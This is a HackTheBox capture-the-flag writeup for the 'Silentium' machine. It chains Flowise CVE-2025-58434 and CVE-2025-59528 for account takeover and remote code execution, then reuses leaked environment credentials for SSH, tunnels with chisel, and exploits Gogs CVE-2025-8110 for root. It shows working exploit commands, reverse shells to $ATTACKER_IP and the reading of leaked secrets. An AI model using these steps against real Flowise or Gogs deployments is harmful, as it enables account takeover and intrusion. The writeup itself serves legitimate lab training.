# Silentium Writeup - HackTheBox

- **URL:** https://hackindex.io/writeups/silentium
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://hacktheboxltd.sjv.io/silentium
- **Tags:** cve-2025-58434, cve-2025-59528, cve-2025-8110
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 5 min read
- **Published:** 2026-04-03
- **Updated:** 2026-09-17

## Discovery

### Port Scan

```bash
scan_tcp_full $TARGET_IP
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
# 80/tcp open  http    nginx 1.24.0 (Ubuntu)
# |_http-title: Did not follow redirect to http://silentium.htb/
```

HTTP redirects to `silentium.htb`. Add it to `/etc/hosts`:

```bash
echo "$TARGET_IP silentium.htb" | sudo tee -a /etc/hosts
```

The main site presents a corporate finance page. Subdomain enumeration is the next logical step given the vhost redirect.

### Subdomain Enumeration

```bash
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
  -u http://silentium.htb/ \
  -H "Host: FUZZ.silentium.htb" \
  -mc 200,204,301,302,307,401,403 -fs 178
# staging    [Status: 200, Size: 3142]
```

Add it to `/etc/hosts`:

```bash
echo "$TARGET_IP staging.silentium.htb" | sudo tee -a /etc/hosts
```

### Flowise CMS ,  staging.silentium.htb

```bash
whatweb staging.silentium.htb
# Meta-Author[FlowiseAI]
# Title[Flowise - Build AI Agents, Visually]
```

The subdomain runs Flowise ,  an AI agent builder. Checking the version via the UI reveals Flowise 3.0.5.

![](https://hackindex.io/storage/8libPUF7dnKhzAxOTTagK82UTJX6ho4f6aMIPFXX.png)

Searching for recent Flowise CVEs surfaces two critical vulnerabilities affecting this version: CVE-2025-58434 (unauthenticated account takeover via token disclosure) and CVE-2025-59528 (authenticated RCE via CustomMCP node). These chain together for unauthenticated RCE.

The `/api/v1/apikey/` endpoint returns `{"error":"Unauthorized Access"}`, confirming the instance has authentication enabled ,  the ATO stage is required before RCE.

## Initial Access

### Username Enumeration via Corporate Site

The main `silentium.htb` page lists staff names: Marcus Thorne, Ben, Elena Rossi. Generate email permutations using namemash:

```bash
python3 namemash.py names.txt --domain silentium.htb > emails.txt
# # [+] 36 usernames generated
#
```

The forgot-password endpoint at `http://staging.silentium.htb/api/v1/account/forgot-password` returns HTTP 404 for unknown users and HTTP 201 for valid ones, leaking account existence without authentication.

### CVE-2025-58434 + CVE-2025-59528 ,  Flowise ATO Chain → RCE

CVE-2025-58434 affects Flowise prior to the patched release: the forgot-password endpoint returns the raw `tempToken` directly in the HTTP 201 response body without any authentication. An attacker can request a password reset for any valid email, extract the token from the response, and immediately use it to reset the password ,  achieving full account takeover with zero authentication.

CVE-2025-59528 provides authenticated RCE via the CustomMCP node, which evaluates arbitrary JavaScript inside the `child_process` module context. Together these chain to unauthenticated RCE.

Iterate the generated email list through the PoC from [github.com/kartik2005221/CVE-2025-58434-AND-59528-POC](https://github.com/kartik2005221/CVE-2025-58434-AND-59528-POC):

```bash
while read email; do
  python3 main.py -u http://staging.silentium.htb -e "$email"
done < ../../emails.txt
# [Step 1] [CVE-2025-58434] Requesting forgot-password token ...
# [*] HTTP 201
#
# LEAKED ACCOUNT DATA
# User ID    : e26c9d6c-678c-4c10-9e36-01813e8fea73
# Name       : admin
# Email      : ben@silentium.htb
# tempToken  : sPnEvKlmWGiD2coXdsHtJJeh4oJTKM0Mx0Jbejp6nzvUvfahMhUwUuqUzDSyE6vu
# [!] VULNERABLE — token disclosed without authentication!
#
# [Step 2] Resetting password → Flowise@Pwn3d2025!
# [+] Password reset SUCCESSFUL
# [+] Account takeover complete → ben@silentium.htb / Flowise@Pwn3d2025!
#
# [Step 3] Logging in ...
# [+] Session cookies obtained ✓
#
# [Step 4] [CVE-2025-59528] Executing RCE via CustomMCP ...
# [+] RCE confirmed!
```

`ben@silentium.htb` returns HTTP 201 and leaks the token.

Fire a reverse shell using the built-in `--lhost`/`--lport` flags:

```bash
python3 main.py -u http://staging.silentium.htb \
  -e ben@silentium.htb \
  --lhost $ATTACKER_IP --lport $ATTACKER_PORT
# listening on [$ATTACKER_IP] $ATTACKER_PORT ...
# connect to [$ATTACKER_IP] from (UNKNOWN) [10.129.34.141]
# / # whoami
# root
```

Shell is root inside a Docker container (Alpine, minimal BusyBox environment, hostname `c78c3cceb7ba`, `.dockerenv` present at `/`).

## Post-Exploitation ,  Container Enumeration

### Environment Variables ,  Credential Leak

```bash
env
# FLOWISE_PASSWORD=F1l3_d0ck3r
# FLOWISE_USERNAME=ben
# SMTP_PASSWORD=$BEN_PASSWORD
# SMTP_USERNAME=test
# SMTP_HOST=mailhog
# SENDER_EMAIL=ben@silentium.htb
# JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDD
# DATABASE_PATH=/root/.flowise
```

The `SMTP_PASSWORD` variable stands out ,  it's the only credential that doesn't look like a service-internal secret. Try it against SSH on the host.

### Container Networking

```bash
ip addr
# eth0: 172.18.0.2/16
ip route
# default via 172.18.0.1
```

The container is on a `172.18.0.0/16` Docker bridge. The gateway `172.18.0.1` is the host.

## Initial Access ,  Host SSH

```bash
ssh ben@$TARGET_IP
# Password: $BEN_PASSWORD
# Welcome to Ubuntu 24.04.4 LTS
# ben@silentium:~$
```

The SMTP password from the container environment reuses as `ben`'s SSH password on the host. Grab `user.txt` from `/home/ben/`.

## Privilege Escalation

### Internal Service Discovery

Check local ports on the host:

```bash
ss -tulnp
# 127.0.0.1:3000    # Flowise (already known)
# 127.0.0.1:3001    # unknown
# 127.0.0.1:1025    # SMTP (mailhog)
# 127.0.0.1:8025    # mailhog web UI
```

Port 3001 returns a Gogs Git service:

```bash
curl 127.0.0.1:3001 | grep title
# <title>Gogs</title>
```

On the attacker:

```bash
chisel server -p 8001 --reverse
```

On the target:

```bash
./chisel client $ATTACKER_IP:8001 R:3001:localhost:3001
```

Browse to `http://127.0.0.1:3001/` ,  Gogs is running on `staging-v2-code.dev.silentium.htb`.

![](https://hackindex.io/storage/1E7rCjHjVg2QRKIUBu2HzXNWpjLDaeBkkpT3l7iU.png)

### CVE-2025-8110 ,  Gogs Git Hook RCE

Register a new account on Gogs (`pwn:pwn`), then create a new repository:

![](https://hackindex.io/storage/fV495v2m4q0QuO73rO8WiVsUHgACbPxk193qwEum.png)

Push an initial commit to establish the remote:

```bash
git init
touch README.md
git add README.md
git commit -m "first commit"
git remote add origin http://127.0.0.1:3001/pwn/pwn.git
git push -u origin master
# Username: pwn / Password: pwn
```

The repository is now live on the Gogs instance:

![](https://hackindex.io/storage/xm36KtDnMKFKOZwrye84TcTsu7zuBbYoHVACT1Zc.png)

CVE-2025-8110 is an RCE vulnerability in Gogs that allows an authenticated user to abuse the `sshCommand` configuration in the git repository to inject and execute arbitrary commands when a push triggers server-side git hooks. The PoC from [github.com/zAbuQasem/gogs-CVE-2025-8110](https://github.com/zAbuQasem/gogs-CVE-2025-8110) automates the full chain. The built-in registration step is disabled (Gogs has registration locked) ,  use the `pwn:pwn` account created manually

```bash
python3 CVE-2025-8110.py -u http://127.0.0.1:3001/ \
  -lh $ATTACKER_IP -lp $ATTACKER_PORT
# [+] Authenticated successfully
# [+] Application token: 5e57bf5cf353d5324dfda072c9b5084f8e6fad36
# Repo creation status: 201
# [master c83d252] Add malicious symlink
# [+] Exploit sent, check your listener!
```

```bash
nc -lvnp $ATTACKER_IP $ATTACKER_PORT
# listening on [$ATTACKER_IP] $ATTACKER_PORT ...
# connect to [$ATTACKER_IP] from (UNKNOWN) [10.129.34.141]
# root@silentium:/opt/gogs/gogs/data/tmp/local-repo/2#
# root@silentium:~# cat root.txt
```

Root shell on the host. Grab `root.txt` from `/root/`.

Related

## References

- [NVD: CVE-2025-58434](https://nvd.nist.gov/vuln/detail/CVE-2025-58434) - Flowise Password Reset Token Disclosure Leading to Account Takeover (CVSS 9.8 Critical)
- [NVD: CVE-2025-59528](https://nvd.nist.gov/vuln/detail/CVE-2025-59528) - Flowise Authenticated Remote Code Execution via CustomMCP Node
- [kartik2005221: Flowise Dual CVE PoC](https://github.com/kartik2005221/CVE-2025-58434-AND-59528-POC) - CVE-2025-58434 + CVE-2025-59528
- [NVD: CVE-2025-8110](https://nvd.nist.gov/vuln/detail/CVE-2025-8110) - Gogs Authenticated Remote Code Execution via Git Hook Injection
- [zAbuQasem](https://github.com/zAbuQasem/gogs-CVE-2025-8110) - Gogs CVE-2025-8110 PoC
- [FlowiseAI/Flowise](https://github.com/FlowiseAI/Flowise) - official repository and release notes
- [Gogs](https://gogs.io) - self-hosted Git service documentation
- [jpillora/chisel](https://github.com/jpillora/chisel) - fast TCP tunnel over HTTP for port forwarding